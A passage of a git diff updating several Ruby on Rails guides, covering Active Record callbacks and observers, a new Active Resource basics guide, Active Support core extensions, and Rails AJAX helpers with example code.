not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. h3. Relational Callbacks -Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: <ruby> class User < ActiveRecord::Base @@ -1049,11 +1086,11 @@ Post destroyed h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. -h4. Using +:if+ and +:unless+ with a Symbol +h4. Using +:if+ and +:unless+ with a +Symbol+ -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -1063,7 +1100,7 @@ end h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: <ruby> class Order < ActiveRecord::Base @@ -1071,9 +1108,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using +:if+ and +:unless+ with a Proc +h4. Using +:if+ and +:unless+ with a +Proc+ -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: <ruby> class Order < ActiveRecord::Base @@ -1084,7 +1121,7 @@ end h4. Multiple Conditions for Callbacks -When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. +When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: <ruby> class Comment < ActiveRecord::Base @@ -1097,18 +1134,19 @@ h3. Callback Classes Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: <ruby> class PictureFileCallbacks def after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> -When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: <ruby> class PictureFile < ActiveRecord::Base @@ -1116,13 +1154,14 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: <ruby> class PictureFileCallbacks def self.after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> @@ -1139,16 +1178,25 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. h4. Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. <shell> $ rails generate observer User </shell> +generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: + +<ruby> +class UserObserver < ActiveRecord::Observer +end +</ruby> + +You may now add methods to be called at the desired occasions: + <ruby> class UserObserver < ActiveRecord::Observer def after_create(model) @@ -1164,7 +1212,7 @@ h4. Registering Observers Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :user_observer </ruby> @@ -1172,7 +1220,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi h4. Sharing Observers -By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: <ruby> class MailerObserver < ActiveRecord::Observer @@ -1184,10 +1232,10 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect. +In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :mailer_observer </ruby> @@ -1195,7 +1243,7 @@ h3. Transaction Callbacks There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. <ruby> PictureFile.transaction do @@ -1224,14 +1272,3 @@ end </ruby> The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. - -h3. Changelog - -* February 17, 2011: Add description of transaction callbacks. -* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com -* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com -* March 7, 2009: Callbacks revision by Trevor Turk -* February 10, 2009: Observers revision by Trevor Turk -* February 5, 2009: Initial revision by Trevor Turk -* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile new file mode 100644 index 0000000000..851aac1a3f --- /dev/null +++ b/railties/guides/source/active_resource_basics.textile @@ -0,0 +1,120 @@ +h2. Active Resource Basics + +This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+. + +h3. Configuration and Usage + +Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class +that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" +end +</ruby> + +Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes +life cycle methods that operate against a persistent store. + +h3. Reading and Writing Data + +Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol. + +h4. Read + +Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested. + +<ruby> +# Find a person with id = 1 +person = Person.find(1) +# Check if a person exists with id = 1 +Person.exists?(1) # => true +# Get all resources of Person class +Person.all +</ruby> + +h4. Create + +Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object. + +<ruby> +person = Person.create(:name => 'Vishnu') +person.id # => 1 +</ruby> + +h4. Update + +To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format. + +<ruby> +person = Person.find(1) +person.name = 'Atrai' +person.save +</ruby> + +h4. Delete + +'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource. + +<ruby> +person = Person.find(1) +person.destroy +</ruby> + +h3. Validations + +Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors. + +h4. Validating client side resources by overriding validation methods in base class + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" + + protected + + def validate + errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/ + end +end +</ruby> + +h4. Validating client side resources + +Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model: + +<ruby> +person = Person.new(:first_name => "Jim", :last_name => "") +person.save # => false (server returns an HTTP 422 status code and errors) +person.valid? # => false +person.errors.empty? # => false +person.errors.count # => 1 +person.errors.full_messages # => ["Last name can't be empty"] +person.errors[:last_name] # => ["can't be empty"] +person.last_name = "Halpert" +person.save # => true (and person is now saved to the remote service) +</ruby> + +h4. Public instance methods + +ActiveResource::Validations have three public instance methods + +h5. errors() + +This will return errors object that holds all information about attribute error messages + +h5. save_with_validation(options=nil) + +This validates the resource with any local validations written in base class and then it will try to POST if there are no errors. + +h5. valid? + +Runs all the local validations and will return true if no errors. diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index 781d3d08cd..7959a88c5b 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -440,14 +440,16 @@ NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+. h4. +in?+ -The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+. +The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+. Examples of +in?+: <ruby> +1.in?(1,2) # => true 1.in?([1,2]) # => true "lo".in?("hello") # => true 25.in?(30..50) # => false +1.in?(1) # => ArgumentError </ruby> NOTE: Defined in +active_support/core_ext/object/inclusion.rb+. @@ -571,7 +573,7 @@ NOTE: Defined in +active_support/core_ext/module/attr_accessor_with_default.rb+. h5. Internal Attributes -When you are defining an attribute in a class that is meant to be subclassed name collisions are a risk. That's remarkably important for libraries. +When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries. Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely. @@ -719,12 +721,70 @@ X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8 X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8 </ruby> -The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings. +The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings. -WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver. +WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+). NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +h5. Qualified Constant Names + +The standard methods +const_defined?+, +const_get+ , and +const_set+ accept +bare constant names. Active Support extends this API to be able to pass +relative qualified constant names. + +The new methods are +qualified_const_defined?+, +qualified_const_get+, and ++qualified_const_set+. Their arguments are assumed to be qualified constant +names relative to their receiver: + +<ruby> +Object.qualified_const_defined?("Math::PI") # => true +Object.qualified_const_get("Math::PI") # => 3.141592653589793 +Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034 +</ruby> + +Arguments may be bare constant names: + +<ruby> +Math.qualified_const_get("E") # => 2.718281828459045 +</ruby> + +These methods are analogous to their builtin counterparts. In particular, ++qualified_constant_defined?+ accepts an optional second argument in 1.9 +to be able to say whether you want the predicate to look in the ancestors. +This flag is taken into account for each constant in the expression while +walking down the path. + +For example, given + +<ruby> +module M + X = 1 +end + +module N + class C + include M + end +end +</ruby> + ++qualified_const_defined?+ behaves this way: + +<ruby> +N.qualified_const_defined?("C::X", false) # => false (1.9 only) +N.qualified_const_defined?("C::X", true) # => true (1.9 only) +N.qualified_const_defined?("C::X") # => false in 1.8, true in 1.9 +</ruby> + +As the last example implies, in 1.9 the second argument defaults to true, +as in +const_defined?+. + +For coherence with the builtin methods only relative paths are accepted. +Absolute qualified constant names like +::Math::PI+ raise +NameError+. + +NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+. + h4. Synchronization The +synchronize+ macro declares a method to be synchronized: @@ -864,7 +924,9 @@ end It is shorter, and the intention more obvious. -The macro accepts several methods: +The method must be public in the target. + +The +delegate+ macro accepts several methods: <ruby> delegate :name, :age, :address, :twitter, :to => :profile @@ -1018,7 +1080,7 @@ class A class_attribute :x, :instance_reader => false end -A.x = 1 # NoMethodError +A.new.x = 1 # NoMethodError </ruby> For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. @@ -1424,6 +1486,14 @@ The method +pluralize+ returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments. ++pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned: + +<ruby> +"dude".pluralize(0) # => "dudes" +"dude".pluralize(1) # => "dude" +"dude".pluralize(2) # => "dudes" +</ruby> + Active Record uses this method to compute the default table name that corresponds to a model: <ruby> @@ -1587,7 +1657,7 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+. h5. +demodulize+ -Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it: +Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it: <ruby> "Product".demodulize # => "Product" @@ -1610,6 +1680,31 @@ end NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +h5. +deconstantize+ + +Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container: + +<ruby> +"Product".deconstantize # => "" +"Backoffice::UsersController".deconstantize # => "Backoffice" +"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" +</ruby> + +Active Support for example uses this method in +Module#qualified_const_set+: + +<ruby> +def qualified_const_set(path, value) + QualifiedConstUtils.raise_if_absolute(path) + + const_name = path.demodulize + mod_name = path.deconstantize + mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod.const_set(const_name, value) +end +</ruby> + +NOTE: Defined in +active_support/core_ext/string/inflections.rb+. + h5. +parameterize+ The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs. @@ -1758,7 +1853,7 @@ h4(#string-conversions). Conversions h5. +ord+ -Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encondings like ASCII or ISO-8859-1 in Ruby 1.8: +Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8: <ruby> "a".ord # => 97 @@ -1772,7 +1867,7 @@ In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte sup "à ".mb_chars.ord # => 224, in UTF8 </ruby> -Note that the 224 is different in both examples. In ISO-8859-1 "à " is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à " the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. +Note that the 224 is different in both examples. In ISO-8859-1 "à " is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à " the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus. INFO: +ord+ is equivalent to +getbyte(0)+. @@ -2069,6 +2164,30 @@ shape_types = [Circle, Square, Triangle].sample(2) NOTE: Defined in +active_support/core_ext/array/random_access.rb+. +h4. Adding Elements + +h5. +prepend+ + +This method is an alias of <tt>Array#unshift</tt>. + +<ruby> +%w(a b c d).prepend('e') # => %w(e a b c d) +[].prepend(10) # => [10] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + +h5. +append+ + +This method is an alias of <tt>Array#<<</tt>. + +<ruby> +%w(a b c d).append('e') # => %w(a b c d e) +[].append([1,2]) # => [[1,2]] +</ruby> + +NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. + h4. Options Extraction When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: @@ -2696,6 +2815,18 @@ hash # => {:a => 1} NOTE: Defined in +active_support/core_ext/hash/slice.rb+. +h4. Extracting + +The method +extract!+ removes and returns the key/value pairs matching the given keys. + +<ruby> +hash = {:a => 1, :b => 2} +rest = hash.extract!(:a) # => {:a => 1} +hash # => {:b => 2} +</ruby> + +NOTE: Defined in +active_support/core_ext/hash/slice.rb+. + h4. Indifferent Access The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: @@ -2910,15 +3041,30 @@ Active Support defines these methods as well for Ruby 1.8. h6. +beginning_of_week+, +end_of_week+ -The methods +beginning_of_week+ and +end_of_week+ return the dates for the beginning and end of week, assuming weeks start on Monday: +The methods +beginning_of_week+ and +end_of_week+ return the dates for the +beginning and end of the week, respectively. Weeks are assumed to start on +Monday, but that can be changed passing an argument. <ruby> -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.beginning_of_week # => Mon, 03 May 2010 -d.end_of_week # => Sun, 09 May 2010 +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.beginning_of_week # => Mon, 03 May 2010 +d.beginning_of_week(:sunday) # => Sun, 02 May 2010 +d.end_of_week # => Sun, 09 May 2010 +d.end_of_week(:sunday) # => Sat, 08 May 2010 </ruby> -+beginning_of_week+ is aliased to +monday+ and +at_beginning_of_week+. +end_of_week+ is aliased to +sunday+ and +at_end_of_week+. ++beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+. + +h6. +monday+, +sunday+ + +The methods +monday+ and +sunday+ return the dates for the beginning and +end of the week, respectively. Weeks are assumed to start on Monday. + +<ruby> +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.monday # => Mon, 03 May 2010 +d.sunday # => Sun, 09 May 2010 +</ruby> h6. +prev_week+, +next_week+ @@ -3143,8 +3289,10 @@ The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ <ruby> yesterday tomorrow -beginning_of_week (monday, at_beginning_of_week) -end_on_week (at_end_of_week) +beginning_of_week (at_beginning_of_week) +end_of_week (at_end_of_week) +monday +sunday weeks_ago prev_week next_week @@ -3317,8 +3465,10 @@ ago since (in) beginning_of_day (midnight, at_midnight, at_beginning_of_day) end_of_day -beginning_of_week (monday, at_beginning_of_week) -end_on_week (at_end_of_week) +beginning_of_week (at_beginning_of_week) +end_of_week (at_end_of_week) +monday +sunday weeks_ago prev_week next_week @@ -3347,7 +3497,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3370,7 +3520,7 @@ The method +all_day+ returns a range representing the whole day of the current t now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 </ruby> Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. @@ -3379,13 +3529,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 </ruby> h4. Time Constructors @@ -3480,8 +3630,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") +logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ @@ -3561,8 +3711,3 @@ end </ruby> NOTE: Defined in +active_support/core_ext/load_error.rb+. - -h3. Changelog - -* August 10, 2010: Starts to take shape, added to the index. -* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 8b72e20c33..3a0ccfe9b2 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -3,7 +3,7 @@ h2. AJAX on Rails This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics: * Quick introduction to AJAX and related technologies -* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc * Testing JavaScript functionality endprologue. @@ -24,20 +24,80 @@ h4. Standard HTML communication vs AJAX How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section) +h3. Built-in Rails Helpers +Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as: +<ruby> +javascript_include_tag :defaults +</ruby> +h4. Examples +All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method. -h3. Built-in Rails Helpers +<ruby> +button_to "New", :action => "new", :form_class => "new-thing" +</ruby> + +will produce -Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views. +<html> +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +</html> -To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so: <ruby> -javascript_include_tag 'prototype' +button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } </ruby> +will produce + +<html> +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +</html> + +<ruby> +button_to "Delete Image", { :action => "delete", :id => @image.id }, + :confirm => "Are you sure?", :method => :delete +</ruby> + +will produce + +<html> +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +</html> + +<ruby> +button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?', + :method => "delete", :remote => true, :disable_with => 'loading...') +</ruby> + +will produce + +<html> +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +</html> + +You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application. + +<shell> +rails new app_name -j prototype +</shell> + You are ready to add some AJAX love to your Rails app! h4. The Quintessential AJAX Rails Helper: link_to_remote @@ -59,7 +119,6 @@ link_to_remote "Add to cart", </ruby> * The very first parameter, a string, is the text of the link which appears on the page. - * The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: ** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. ** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: @@ -109,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -129,6 +188,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -138,6 +198,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser @@ -193,7 +254,6 @@ end What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). - h3. Testing JavaScript JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as 